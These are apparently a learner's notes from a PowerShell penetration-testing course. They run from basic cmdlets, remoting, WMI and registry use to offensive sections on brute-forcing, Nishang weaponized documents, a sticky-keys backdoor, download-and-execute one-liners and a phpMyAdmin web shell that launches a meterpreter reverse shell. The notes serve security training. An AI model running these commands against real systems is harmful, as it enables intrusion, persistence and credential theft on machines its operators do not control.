Powershell Notes .txt

------------------------------------------------------------------------------

Pentester Academy : Powershell 

------------------------------

Ques : What is Powershell ? 
Ans  : Powershell is an automation platform and scripting language for windows and 
       windows seerver that allows you to simplify the management of your system
       	

NOTE : As a Pentester we are suppose to have a good knowledge about powershell 

Course Contents :
=================

1.  Introduction to Powershell 
2.  Basics of Powershell 
3.  Scripting 
4.  Advance Scripting Concept 
5.  Modules 
6.  Job
7.  Powershell with .NET 
8.  Using Window API with powershell
9.  Powershell and WMI 
10. Working with COM object 
11. Interacting with Registry
12. Recon and Scanning 
13. Exploitation 
	- BruteForce 
	- Client Side Attack
	- Using Existing exploitation Technique
	- Porting exploit to powershell
	- Human interface Device
14. Powershell and Metasploit 
	- Running Powershell Script 
	- using powershell in metasploit exploits
15. Post Exploitation 
	- Information gathering and exfilteration 
	- Backdoors
	- privilege Escalation 
	- Getting system secrets 
	- Pass the hash 
	- powershell remoting 
	- WMI and WSMAN for remote command execution 
	- Web shells
	- Achieving Persistence 
16. Using powershell with othere security tools 
17. Defence against Powershell attacks 
 
-------------------------------------------------------------------------------

Ques : What is Powershell for us ?
Ans  : - A Powershell and Scripting llanguage is already present on the most general
         Target in a pen-test 
       
       - Less Dependence on Metasploit and *nix based Scripting 
	 
Ques : Why Powershell ?
Ans  : 

- Provide access to almost everything on a window platform which could
  be useful for us as attackers
- Easy to learn and really powerfull 
- Based on .Net framework and is tightly integerated with windows
- Trusted by the countermeasures and system administrator 

---------------------------------------------------------------------------------

Some Command 

> cd \ 
> dir
> ls
> ps
> Get-Help | more : so that it fits to screen
> Get-Help * | more
> Get-Help *process | more 
> Get-Process
> Get-Help *alias*
> Get-Alias
> Get-Help Get-Help -Examples
> Get-Help Get-Help -Online

---------------------------------------------------------------------------------

Exploring and Using Cmdlets

> Get-Help Get-Command | more
> Get-Command -CommandType cmdlet : list only the cmdlet  
> Get-Help Get-command -Parameter * : list the prarameter in cmdlet
> Get-Command -CommandType Cmdlet -Name *process* : list all the cmdlet having process in their name 
> Get-Command -CommandType Cmdlet | Measure-Object : count the objects
> Get-Service 
> Get-Process

Cmdlet in Powershell follow a verb Noun Naming Convention 

> Get-Command -Verb stop
> Get-Command -Verb Start 
> Get-Help start-Process -examples | more
> Start-Process [name] 
> Stop-Process -id [pid]

---------------------------------------------------------------------------------

Output Formatting and Output Manipulation 

Powershell has Cmdlets which could be used for 
- Output Formatiing 
> Get-Command -CommandType Cmdlet -Name *Format* 

- Output Manipulation 
> Get-Command -CommandType Cmdlet -Name out*

---------------------------------------------------------------------------------

> Get-ChildItem or ls
> Get-ChildItem | Format-Table Name : list only names 
> Get-ChildItem | Format-Table * : list all the property 
> Get-ChildItem | Format-List | more : List the property of objects 
> Get-Process | Out-GridView
> Get-Content [file_name]  : To get Content of the file 

---------------------------------------------------------------------------------

Operators 

Arithematic ( +, -, *, /, % )
Assignment ( =, +=, -=, /=, %= )
Comparison ( -eq, -ne, -gt, -lt, -le, -ge, -match, -nomatch, -replace, -like, -notlike, -in, -notin, -contains, -notcontains  )
Redirection (> , >> , 2> , 2>&1)

> Declaring Variable using '$'
> "Hello World" -match "Hello" : True/False
> "Hello " -replace "l" : Heo
> "Hello" -replce "l","y" : heyyo

---------------------------------------------------------------------------------

Advanced Operator 

Logical ( -and, -not, -or, -xor )
Split and Join ( -split, -Join )
Type Operator ( -is, -as, -isnot )

> "String as given " -split "option"
> "Hello " , "World" -join "-" : Hello -World
> 3 -is "int" : True 
> 3 -is "float"  : False

---------------------------------------------------------------------------------

Types in Powershell 

- Dynamic Types  : Not Strictly Typed
- Type Adaption : Provide Access to Alternate object system like WMI, COM , ADSI etc
- The Basis of powershell is .NET

 
> $value = "String " + 1
> $value.GetValue()

Variable Types 

String : Single Quoted vs Double Quoted 
	    Here String
	    Double Quote Expands the function 
	    single Variable treat function as string 
	Multiline String : 
		$value = @" dndsjfnoifn "@
  
Type Converison : Type Conversion in powershell is done with the help of [] operator
		   [int]$variable 

Arrays : Commands in Powershell return an arrays of objects - [object[]]
	 more than one type of element could be stored

	> $array = 1,2,3,4,5
	> $array.length() : length of the array 	
    	> $array[index]
	> $empty_array = @()
	
---------------------------------------------------------------------------------

Conditional Statements


if, elseif , else
support usaage of command and cmdlets and pipeline in the condition part 
   
if - Condition 

> if(1 -gt 0) { statement } else { Statement }
> if((get-process).count -gt 2){Statement } else{statement}

 		

---------------------------------------------------------------------------------

Switch Statements 

Support Parameter like (-Exact , -Wildcard - Regex ) For condition matching 
Ability to process file using the -file operator 
switch -regex -file C:\test\WindowsUpdate.log{'Validating'{$_}}
 
example : 

> switch (1) {1 {"One"} 2 {"Two "} 3 {Three}}
> switch (1) {1 {"One"} 2 {"Two "} 3 {Three} default {statement}}
> switch -wildcard ('abc') { a* {'A'} *b* {'B'} }
 

---------------------------------------------------------------------------------

Loop Statements :

While(){}
do{}while()
do{]untile()
for(;;){}
foreach( in ){} : 
		$procs = Get-Process
		foreach ($proc in $procs ){echo $proc}
 
Loop Cmdlets : 
	1. ForEach-Object
			Get-Process | ForEach-Object{$_.name}
	2. Where-Object 
			Get-ChildItem | Where-Object {$_.Name -match "txt"}




> Get-ExecutionPolicy 
> Set-ExecutionPolicy bypass : to bypass the execution policy 

---------------------------------------------------------------------------------

Functions Part 1

Simple Ussage 
parameter of a powershell Functions
	- $args
	- Declaring Parameters 
	- Positional and named parameters


> function add {1 + 3}
> add 
> function paramas { $args }
> function paramadd {$args[0] + $args[1]}
> function product($num1, $num2) {$num1 * $num2}
> calling : product -num1 10 -num2 19
> calling : product 1 2

Functions Part 2

Dynamic Number of Parameter 
Type Declaration of the parameter 
Default values 

> function varparams ($a, $b){
$a
$b
}


Handle Variable number of input : 
> funcition variable_params ($a , $b ){
$a
$b
$args 
}

Declaring Types of the Variable 
> function typeVariable ([int]$a, [int]$b){ Statements }

Variable having Default Values 

> function default_variable ( $a = 32, $b ){ statement }
 
Functions Part 3

Switch Parameters
Returning Values 
Scope of Variable and Functions 

Switch Parameters

function switchable ($a,$b,[switch]$flip){
$a
$b
if($flip){$a - $b}
}

> switchable 1 2 -flip
> switchable 1 2

Returning Values 
$output = switchable 1 2 


Scope of Variable and Functions 

> $var1 = 33 : Global Variable 
> function var($var1 = 22){    : local Variable 
> $var1
> }

Powershell doesnot function overloading

> ls function: =  to display all the fucntions


---------------------------------------------------------------------------------


Advanced Function in Powershell 

- param Statement 
- Param attributes 
	- Mandatory 
	- ParameterSetname
	- Position
	- ValueFroPipeline
- Parameter Validation 
	- AllowEmptyString
	- AllowNull 
	- AllowEmptyCollection
	- ValidateLength
	- ValidatePattern
	- ValidateSet



function addvancedFucntion 
{
    param (
    [parameter (mandatory=$True, Position = 1, ValueFromPipeline=$True)] $a,
    [parameter ( position = 0)] $b   
    )
    Write-Output " a is $a "
    Write-Output " b is $b "  
}
> 12 | addvancedFucntion -b  13

AllowNull : Allows NUll value where value is mandatory 
function addvancedFucntion 
{
    param (
    [parameter (mandatory=$True, Position = 1, ValueFromPipeline=$True, AllowNull())] $a,
    [parameter ( position = 0)] $b   
    )
    Write-Output " a is $a "
    Write-Output " b is $b "  
}


ValidateSet:
function addvancedFucntion 
{
    param (
    [parameter (mandatory=$True, Position = 1, ValueFromPipeline=$True, ValidateSet(1,2,3))] $a,
    [parameter ( position = 0)] $b   
    )
    Write-Output " a is $a "
    Write-Output " b is $b "  
}



---------------------------------------------------------------------------------



Powershell Scripting 

- Dot Sourcing
- CmdletBinding 
	- Verbose Output
	- Parameter Check
	- SupportShouldProcess { -Whatif and -Confirm }

[CmdletBinding()] : Provide ability to verbose output 
function Show-Advanced{
    [CmdletBinding()]  : This attribute allows the script to behave as a precompiled cmdlet  
    param(
    [parameter()]$filePath

    )
    Remove-Item $filePath

}

Verbose Outputing 

function Show-Advanced{
    [CmdletBinding()]
    param(
    [parameter()]$filePath

    )
    Write-Verbose "Deleting $filePath"
    Remove-Item $filePath

}

> . .\file.ps1
> Show-Advanced -filePath [] -Verbose


SupportShouldProcess 

- gives Whatif functionality 

function Show-Advanced{
    [CmdletBinding(SupportsShouldProcess = $true)]
    param(
    [parameter()]$filePath

    )
    Write-Verbose "Deleting $filePath"
    Remove-Item $filePath

}

> . .\file.ps1
> Show-Advanced -filePath [] -Verbose -Whatif


- gives confirm support
> Show-Advanced -filePath [] -Verbose -confirm 

gives a dialog for confirm 


---------------------------------------------------------------------------------

Modules 

- Writing Script Module 
- Controlling Visibility 

- To Create a module just change the extension from .ps1 to .psm1

- To import a module : Import-Module .\module.ps1

- To Check : Get-Command -CommandType Function

- To Remove Module : Remove-Module [Module_name] 

if you want to hide a function which you dont want to show to users use 

  Export-ModuleMember -Function [function_name]



---------------------------------------------------------------------------------

ManiFest Modules

- Creating a Manifest
> New-ModuleManifest .\[name_of_the_manifest].psd1

- Check any Manifest 
> Test-ModuleManifest .\[Name_of_the_manifest].psd1

- Using a Manifest Module


---------------------------------------------------------------------------------

Remoting Part - 1

Running cmdlets on remote Computer

- exploring cmdlet with -ComputerName parameter
- using cmdlet on the single remote computer 
- using cmdlet on multiple remote computer 

> get-help *remote* 
> Get-Command -CommandType Cmdlet | Get-Member
> Get-Command -CommandType Cmdlet -ParameterName computername 
> Get-Command -CommandType Cmdlet | Where-Object {$_.Parameters.Keys -contains 'ComputerName'}
> Get-Command -CommandType Cmdlet | Where-Object {$_.Parameters.Keys -contains 'ComputerName' -and $_.Parameters.Keys -contains 'credential' -and $_.Parameters.Keys -notcontains 'Session'}

does not contains session which means it support the poweshell remotely

These are the command we use : 
                                     
Cmdlet          Get-HotFix : This command takes too much time 
                               
Cmdlet          Get-PSSession     
                                 
Cmdlet          Get-WmiObject                                      

Cmdlet          Invoke-WmiMethod                                   

Cmdlet          Register-WmiEvent                                  

Cmdlet          Remove-WmiObject                                   

Cmdlet          Restart-Computer                                   

Cmdlet          Set-WmiInstance                                    

Cmdlet          Stop-Computer                                      

Cmdlet          Test-Connection

1. Get-Hotfix 
>  Get-HotFix  -ComputerName AnshPC  -Credential barat\domainuser

2. Test-Connection 
> foreach($pc in ('localhost','googl.com')){Test-Connection $pc}

---------------------------------------------------------------------------------

Remoting Part - 2

Based on WSMAN protocol and uses Winrm
	- need port 5985(HTTP) 5986(HTTPS) 
	- Alternate Port Possible
Using PowerShell Remoting 
	- Trusted Domain 
	- Work Group 
		(WSMan:\localhost\client\trustedhost)
Running Cmdlet which supports remoting 

> Set-Item WSMan:\localhost\client\trustedhosts -Value *


---------------------------------------------------------------------------------
Remoting One to One 

Interacting Session - PSsession 

- Runs in a new Process
- Is StateFul 

Using PSsession

- Initiating 
- INteracting
- Closing 

> powershell -version 2
> help *session*
> New-PSSession -ComputerName [Name] -Credential [ Credentials] : Start a new process 
> Get-PSSession
> Get-PSSession -ComputerName [Name eg. domainpc] 
> $PSVersionTable : get Version of Powershell 
> Enter-PSSession -id [ id ] 
> Enter-PSSession -Name [ Name_of_Session ]
> $env:COMPUTERNAME = > Display Computer name 
> Remove-PSSession [session id]

---------------------------------------------------------------------------------

Remoting One to Many 

Invoke-Command 
- Running Command 
- Running Scripts
- Running Modules

"Fan-Out" Or "One-to-Many"

> Invoke-Command -ScriptBlock {Command1, Command2, Command3} -ComputerName [Name] -Credentials [eg. bharat\domainuser]
> Invoke-Command -FilePath [Path] -ComputerName [Name] -Credentials [bharat\domainuser]
above command is used to run powershell script on othere computer 

NOTE : We cannot run modules directly for that we have to do the following steps 
1. Import the module- locally 
 	> Import-Module .\file_name.psm1
2. Now to run any function from the module ussage is as follows 
	> Invoke-Command -ScriptBlock ${function:Get-Information} -ComputerNane [] -Credentials [] 
 


---------------------------------------------------------------------------------

Advanced Powershell Remoting 

 - Using Invoke-Command state fuly across session
 - Implicit Remoting 

NOTE * in Invoke-Command Command are ran independently without having any state 

# Explicit Remoting 

This Can be Solve with the help of using PSSession 
> New-PSSession -ComputerName [] -Credentials [] 
> $sess = Get-PSSession 
> Invoke-Command -ScriptBlock {$procs = Get-Process} -Session $sess
> Invoke-Command -ScripBlock {$procs} -Session $sess

Note : This Method alloes us to run command in statefull manner 


# Implicit Remoting 

Powershell allows us to create Proxy funtions for implicit Remoting 

# Explicit Remoting 

> Get-PSSession
> Invoke-Command -ScriptBlock {function Get-sysinfo {Whoami; $env:COMPUTERNAME}} -Session $sess
> Invoke-Command -ScriptBlock {Get-sysinfo} -Session $sess
 
# Implicit Remoting 

# Import-PSSession : This allows us to create proxy functions from a PSSession
> Import-PSSession -CommandName Get-sysInfo  -Session $sess 
> Get-Sysinfo : now we can use it as local Function 

We can export into module from command 

> Export-PSSession -ModuleName domainmodule -CommanName Get-Sysinfo -session $sess

---------------------------------------------------------------------------------

Jobs in Powershell 

Jobs in powershell are a way to execute commands and Scripts etc in Background

# jobs :
	- Start
	- Receive Output
	- Remove 
	- Remote Jobs

Local Jobs 

> Start-Job -ScriptBlock {commands} : Start the Job
> Get-job -Id [id]
> Get-job | Receive-Job : Receive the output 
> Get-job | Remove-Job  : Stop the JOb
> Get-job -FilePath [path_to_script] 

We can also use multiple jobs using foreach loop 


Remote Jobs 

One way of running Commands and Scripts remotely is to use Cmdlets which support the AsJob Parameter
Invoke-Command Uses Asjobs thorughly 


> Invoke-Command -ScriptBlock{ps} -Computername [] -credentials [] : This is Dry Run 
> Invoke-Command -ScriptBlock { Start-Job -ScriptBlock {ps}} -ComputerName [] -Credential [] : This run as a JOb

But We know that Invoke-Command is State less to resolve this issue we use PSSession 

> $sess =  New-PSSession -ComputerName [] -Credentials [] 
> Invoke-Command -ScriptBlock { Start-Job -ScriptBlock {ps}} -Session $sess

---------------------------------------------------------------------------------

  .NET Classes

# First One is Using Assembly Name 

Using .NET - Exploring .NET Classes

Explore Assemblies :
	[AppDomain]::currentDomain.GetAssemblies()
 
> [AppDomain]::currentDomain.GetAssemblies() | ForEach-Object {$_.GetTypes()} | Where-Object {$_.IsPublic -eq 'True'}
 
 Public Classes

> $classes = [AppDomain]::currentDomain.GetAssemblies() | ForEach-Object {$_.GetTypes()} | Where-Object {$_.IsPublic -eq 'True'}
> $ProcClass =  $classes | Where-Object {$_.Name -eq "Process"}

Get-Member : it is used to list the methods and Properties of an object 

> $ProcClass | Get-Member 
> $ProcClass | Get-Member -MemberType Method : This list only methods 


Get-Member By Default Doesnot Show Static and Intrinsic member 
for that we have to print it using -Static

> $ProcClass | Get-Member -MemberType Method -Static
> $ProcClass::GetCurrentProcess()
> $procClass.FullName
> [System.Diagnostics.Process]::GetCurrentProcess()
> $ProcClass | Get-Member | Format-List


Using .NET - Add Type 

=> Add type is used whenever you want to extend the functionality of Powershell with the help of .NET 

=> The Add-Type cmdlet lets you define a Microsoft . NET Core class in your PowerShell session

Adding of Class

> Add-Type -AssemblyName System.Windows.Forms 

Class has been loaded to check 

> [System.Windows.Forms.SendKeys]
> [System.Windows.Forms.SendKeys] | Get-Member -Static

=> List Devices in Powershell Without WMIC 

> Add-Type -AssemblyName System.ServiceProcess 
> [System.ServiceProcess.ServiceController]
> [System.ServiceProcess.ServiceController]::GetServices() | Where-Object {$_.Status -eq "Running"} : Getting all the running Services 

Second Method - Using New-Object 
--------

Use Add-Type with -FromSource 
New-Object 




$Dotnetcode = @"
public class SysCommands{
    public static void lookup (string DomainName){
    System.Diagnostics.Process.Start("nslookup.exe",DomainName);
    }
    public void netcmd (string cmd){
        string cmdString  = "/k net.exe " + cmd;
        System.Diagnostics.Process.Start("cmd.exe",cmdString);
    } 
}
"@

Add-Type -TypeDefinition $Dotnetcode
[SysCommands]::lookup("google.com")

# Creating a onject of SysCommads CLass

$obj = New-Object SysCommands This is the main part 
$obj.netcmd("user")


Third Type - Using .NET Type 
---------------------------

use Add-Type with -FromPath 
-Compiling DLLs/ConsoleApps 
-Using Dlls


Objects can be pass through using -passthru 

> $obj = Add-Type -Path .\syscommands.dll -PassThru
> $obj.GetMethod() | Where-Object {$_.Name -eq "netcmd"}

$Dotnetcode = @"
public class SysCommands2{
    public static void lookup (string DomainName){
    System.Diagnostics.Process.Start("nslookup.exe",DomainName);
    }
    public void netcmd (string cmd){
        string cmdString  = "/k net.exe " + cmd;
        System.Diagnostics.Process.Start("cmd.exe",cmdString);
    } 
    public static void Main(){
        string cmdString  = "/k net.exe " + "user";
        System.Diagnostics.Process.Start("cmd.exe",cmdString);
   
    }
}
"@

#Add-Type -TypeDefinition $Dotnetcode -OutputType Library -OutputAssembly C:\Users\AnshPC\Desktop\syscommands.dll
Add-Type -TypeDefinition $Dotnetcode -OutputType ConsoleApplication -OutputAssembly C:\Users\AnshPC\Desktop\Syscommands.exe

<#[SysCommands2]::lookup("google.com")

# Creating a onject of SysCommads CLass

$obj = New-Object SysCommands2
$obj.netcmd("user")#>


Fourth Type : .NET 
------------------

- use Add-Type with -MemberDefinition
- Making Window Api Calls 
  - Getting Signature (pinvoke.net recommended)
  - Make the method Declaration public 
  - Use the modification signature in Add-Type -MemberDefinition

   

---------------------------------------------------------------------------------

WMI : Window Management Instrumentation 

=> WMI is used to access management information across  platforms in an enterprise 

Cmdlets 

Exploring Namespaces 

> Get-Wmiobject -Namespace "root" -class "__Namespace" | select name
 
 
# WMI contain Namespaces which are the collection of classes to Hold object of different types
> Get-Wmiobject -Namespace "root" -class "__Namespace" | select name

# Exploring Classes
> Get-WmiObject -Namespace "roo/cimv2" -List
 
> Get-WmiObject -Namespace "root/cimv2"-List | Where-Object {$_.Name -match "Process"}

# Exploring Methods 
> Get-WmiObject -class Win32_process -List | Select-Object -ExpandProperty Methods

WMI Using Cmdlets

 - Using Get-WmiObject ( local and remote ) 
	- Filter
		- Get-WmiObject -Class Win32_process -Filter {Name ="Powershell.exe"}
	- Where-Object
		-  Get-WmiObject -Class Win32_process | Where-Object {$_.Name -eq "powershell.exe"}
	- Query {accepts query in format similar to SQL Query}
		- Get-WmiObject -Query {Select * From Win32_Process Where Name = "Powershell.exe "}

 - Remove Wmi Object 

Remote : 
> Get-WmiObject -Class [eg. Win32_process] -ComputerName [] -Credential []


WMI - Using Cmdlets 

 - Invoke-WmiMethod ( local and remote )
 	- Running executables
	- Running Powershell commands and Scripts 

> Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "notepad.exe"
> Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "cmd.exe"

To run it Remotely 

> Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "notepad.exe" -ComputerName [] -Credential [] 
> Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "powershell.exe -noexit -c dir"
> Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "powershell.exe -noexit -c dir" -ComputerName [] -Credentials [] 


---------------------------------------------------------------------------------

COM Object in Powershell 

COM Object are Interfaces to various windows application

Exploring COM Objects 

> Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID\ -Include PROGID -Recurse | ForEach {$_.GetValue("") } | Where-Object {$_ -match "<appname>"}
> Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID\ -Include PROGID -Recurse | ForEach {$_.GetValue("") } | Where-Object {$_ -match "wscript"}
> $wscript = New-Object -ComObject WScript.Shell.1
> $wscript | Get-Member
> $wscript.CurrentDirectory
> $wscript.SpecialFolders
> $wscript.Popup("Hello")
> $wscript.Exec("notepad.exe") 

---------------------------------------------------------------------------------

Reading Windows Registry 

 - Registry Provider 

 - Reading Registry 
	- Get-Items
	- Get-ChildItem
	- Get-ChildItemProperty

 - Accessing all registry hives


Ques : What is Windows Registry 
Ans : The Windows Registry is a database which is maintained by Windows and is loaded into your computer’s memory when your system starts. This Registry holds all the information that Windows needs to communicate with your computer hardware, behave according to each user’s settings, and also maintains an on-going update of itself as these settings change.
      Windows will write this updated data back to your drive during the shut-down process. This is one very good reason to let Windows shut down your PC and for you not to simply push the power button.


Powershell provide a PSProvider for the windows Registry 
> Get-PSProvider -PSProvider Registry

Reading Registry Using Commands : 

Using Get-Item 
> Get-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\'
> Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\'
> Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\' | Foramt-List *
> Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\'
> Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\' -Recurse


To Access all the Registry use : 
> Set-Location Registry::
> ls


Editing Windows Registry 

- Cmdlets
	- New-Item 
	- New-ItemProperty 
	- Set-Item
	- Set-ItemProperty
	- Rename-Item
	- Rename-ItemProperty 


> New-Item -Path HKCU:\PFPT
> New-Item -Path HKCU:\PFPT\NewSubDir
> New-ItemProperty -Path HKCU:\PFPT -Name Reg2 -PropertyType String -Value 2
> Rename-Item HKCU:\PFPT -newname PFPTNew
> Rename-ItemProperty HKCU:\PFPTNew -Name reg2 -NewName reg1


Attaching sticky key to debugger so that it is execute whenever shift key is press for 5 times
Create a registry key
> New-Item 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' 
> New-ItemProperty 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' -Name Debugger -PropertyType String -Value cmd.exe

Windows Registry on Remote Computer 

Three Ways to Access Window Registry Remotely 

1. Powershell Remoting 
2. WMI : https://github.com/darkoperator/Posh-SecMod/blob/master/Registry/Registry.ps1
3. .NET 

Powershell Remoting 

Using PSSession 

> Enter-PSSession -ComputerName [] -Credential []
> Get-Item 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion'
> Exit 

Using Invoke Command 

> Invoke-Command -ScriptBlock{HKLM:\Software} -ComputerName [] -credential []

Using Wmic

> $RemoteReg = Get-WmiObject -List "StdRegProv" -ComputerName [] -credential []
> $RemoteReg | Select-Object -ExpandProperty method 
> $RemoteReg.GetStringValue(identifier, "Software\Microsoft\Windows NT\CurrentVersion","Productname")
These identifier an be easily taken from internet 

Using .NET Method : Cannot Pass Alternate Credentials 

> [Microsoft.Win32.RegistryKey].getMethod()


---------------------------------------------------------------------------------


Pentesting Methodology


Tools Required for Offensive Powershell 

 1 - Nishang      : https://github.com/samratashok/nishang
 2 - PowerSploit  : https://github.com/mattifestation/powersploit
 3 - PowerTools   : https://github.com/Veil-FrameWork/powertools
 4 - Posh-SecMod  : https://github.com/darkoperator/Posh-SecMod/


Recon and Scanning Part 1

- Host-Discovery 
- Port-Scan 
- other Recon method 

commands : 

To get to know about all the commands use : 
> Get-Command -Module nishang

1. Host Discovery in Nishang 

> Import-Module .\nishang\
> Port-Scan -StartAddress [ip] -EndAddress [ip] -ResolveHost

2. HostDiscovery scanning  using powersploit 

> Import-Module .\PowerSploit\PowerSploit.psd1\
> Invoke-PortScan -Hosts google.com -PingOnly

3. Posh-SecMod

> Import-Module .\Posh-SecMod\Posh-SecMod.psd1
> Invoke-ARPScan -CIDR [ip eg. 192.168.0.0/24] 

# Port Scan Part 

1. Nishang 

> Port-Scan -StartAddress [] -EndAddress [] -ScanPort -ports []

2. PowerSploit 

> Import-Module .\PowerSploit\PowerSploit.psd1\
> Invoke-PortScan -Hosts google.com

We can also stored the result in a variable 

> $result = Invoke-PortScan -Hosts google.com
> $result | Select-Object -ExpandProperty filteredports
> Invoke-EnumSRVRecords -Domain google.com 


Recon and Scanning Part 2

Shodan : google for Hackers it is a seachengine 

- posh-Shodan : https://github.com/darkoperator/Posh-Shodan
> Import-Module .\Posh-Shodan\Posh-Shodan.psd1
> Get-Command -Module posh-shodan
> to use shodan you have to give your api key and password
> Set-ShodanAPIKey -APIK [] -masterpassword [] 
> Read-ShodanAPIKey
> enter password
> Get-ShodanDNSResolve -Hostname google.com 
> Measure-ShodanHost -Query "RDP" -city "mumbai"


- File and Directory Enumeration on Web-Servers (Get-HttpStatus) 

Getting HTTP Status  ;

> . .\PowerSploit\Recon\Get-HttpStatus.ps1
> Get-HttpStatus -Target [] -Path .\Powersploit\Recon\Disctonaries\generic.txt\ -port 80
 
---------------------------------------------------------------------------------\

Vulnerability Scanning and Analysis 

- Automating Nmap and parsing xml results
- Automating NEssus and Parsing Reports

Tools link : https://github.com/darkoperator/Posh-NVS
Automated Script of nmap 
**************************
$outputPath = "C:\Users\AnshPC\Desktop"
$IPRanges = "192.168.0.1/24". "192.168.1.1/24"
foreach ($range in $IPRanges){
    $temp = $range -split "/" 
    $file= $temp[0]
    & "nmap.exe " "-nvv" "-PN" "--top-ports" "20" "$range" "-oX" "outputPath\$file"
         
}  
***************************

---------------------------------------------------------------------------------

Brute-Forcing Using PowerShell Part 1

1. Brute-Force in Nishang 

	- Active Directory 
	- FTP
	- MSSQL Server
	- SharePoint

Enter a PSSession 
> Enter-PSSession -session $sess
Load BruteForce 
> . \nishang\scan\bruteforce.ps1

BruteForcing Active Directory 

> Brute-Force -identity [lab Domain] -Username [] -Password [] -service [eg. ActiveDirectory]    

Now we use passwordlist to bruteforce 

> cat .\passwordlist.txt |  Brute-Force -identity [lab Domain] -Username [] -Service ActiveDirectory 
 
BruteForcing SQL Server 

> . .\nishang\Scan\Brute-Force.ps1
> Brute-Force -Identity domainpc -Username [] -Password [] -Service SQL

Now Brute-Forcing Against List of Passwords 

> cat passwordlist.txt | Brute-Force -Identity [] -Username [] -Service [] 

 
Brute-Forcing Using PowerShell Part 2 

- Get-WinRMPassword :  Window powershell Remoting  For local Domai  
- Get-WmiPassword : Window Management instrumentation  For local as well as remote

1 .

> . .\Get-WinRMPassword.ps1
> Get-WinRMPassword -ComputerName [] -username [bharat\domainuser] -wordlist [wordlist] -Verbose
 

2. 

> . .\Get-WmiPassword.ps1
> Get-WmiPassword - ComputerName [] -username [bharat\domainuser] -wordlist [wordlist] -Verbose

   
---------------------------------------------------------------------------------

Exploitation

1. Executing scripts on MSSQL Server 

- Execute-Command-MSSQL 

> . .\nishang\Execution\Execute-Command-MSSQL.ps1
> Execute-Command-MSSQL -ComputerName [domainpc] -WindowsAuthentication : when we don't have username and Password 
> Execute-Command-MSSQL -ComputerName [domainpc] -Username [] -Password [] 
now to download any script and execute from a web server 

> iex ((New-Object Net.Webclient).DownloadString(''https://192.168.0.1/[filename]''))
  

---------------------------------------------------------------------------------


Client Side Attacks : Part1 

Malicious / Weaponized Attachments 

- Out-Word
- Out-Excel

These two script comes under Nishang 

> . .\nishang\client\Out-Excel.ps1
> Out-Excel -Payload "powershell.exe -noexit -c -Get-Services"
> Out-Excel -PayloadURL "url" Arguments "" 
> Out-Excel -PayloadURL "[ip]/maliciouspayload.ps1" 
> Out-Excel -PayloadURL "[ip]/maliciouspayload.ps1" -ExcelFileDir -RemainSafe
-ExcelFileDir : It has the capability to copy the name last modified date of those files and generate similar looking infected files 
-RemainSafe   : Which re-enables macro security when the payload is generated 
 
Out-Word has the same functionality as Out-Excel

Client Side Attacks : Part2 

Malicious / Weaponized Attachments 

- Out-CHM
- Out-Shortcut

1. Out-CHM 
	-> Could be use to generate infected html help files

> . .\nishang\Client\Out-CHM.ps1
if you are using direct payload then no need to define powershell.exe
you need to give HHCpath so that your file can be compiled wih html format 
> Out-CHM -Payload "-c -Get-Services" -HHCPath "C:\Program file (x86) \HTML Help Workshop" 

To generate properly compressed encoded script use : 
> . .\nishang\Utility\Invoke-Encode.ps1
> Invoke-Encode -DataToEncode [payload generated by metasploit] -OutCommand 
> notepad .\encodedcommand.txt
> Out-CHM -Payload " -c Paste the encodedcommand.txt" -HHCPath "C:\Program file (x86) \HTML Help Workshop"

2. Out-Shortcut 

> . .\nishang\Client\Out-Shortcut.ps1
> Out-Shortcut -PayloadURL "link"  



Client Side Attacks : Part3
 
Phishing / Drive-By-Download

- Out-HTA
- Out-Java 

1. Out-HTA 
	Out-HTA generates a application and a VB Script both of them are hosted on a web server and the 
	link of the hta could be sent to the target and if the target chooses it to open it 
	we will have our powershell payload script executed on the target .
	
> . .\nishang\Client\Out-HTA.ps1
> Out-HTA -PayloadURL "meterpreter reverse_https payload"  

2. Out-Java 

> . .\nishang\client\Out-Java.ps1
> Out-Java -PayloadURL [32bit payload] -JDKPath 'c:\Program Files\Java\jdk1.7.0_25'
> Out-Java -PayloadURL [32bit payload] -JDKPath 'c:\Program Files\Java\jdk1.7.0_25' -NoSelfSign



Client Side Attacks : Part4

- Complex Attacks 
	- Using Modules 
	- using another client side attacks from a client side attack 
	- Running powershell script with elevation 

 
1. Using Modules 

> . .\nishang\Client\Out-Word.ps1
> Out-Word -PayloadURL [] -Argument [eg. Get-Information]

2. Another client side attacks from a client side attack 

> . .\nishang\Client\Out-CHM.ps1
> Out-CHM -Payload " -e [encoded payload using nishang\utility\Invoke-Encode]" HHCPath 'C:\Program Files(x86)\HTML Help Worshop'

 
---------------------------------------------------------------------------------

Exploitation : phpMyAdmin : Part 1 

From phpmyadmin access to system privileges 

- Check OS : 
	SHOW VARIABLE LIKE "%version%"
- Create a Web Shell 
	SELECT '<?php echo shell_exec($_GET[\'e\']); ?>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\phpmyadmin\\config\\shell.php'
	run : http://newpc/phpmyadmin/config/shell.php?e=whoami
NOTE **Now we have very minimum level of privilege we have2 option elevate 1. Use metasploit payload 2. Escalate privilege using powershell 

1. Using Metasploit 

url : http://newpc/phpmyadmin/config/shell.php?e=C:\windows\sysWOW64\WindowsPowershell\v1.0\powershell.exe -c iex((New-Object Net.WebClient).DownloadString('192.168.0.1/Invoke--Shellcode.ps1'));Invoke-Shellcode -Payload Windows/meterpreter/reverse_https LHOST 192.168.0.2 -LPORT 8888 -Force

Exploitation : phpMyAdmin : Part 2
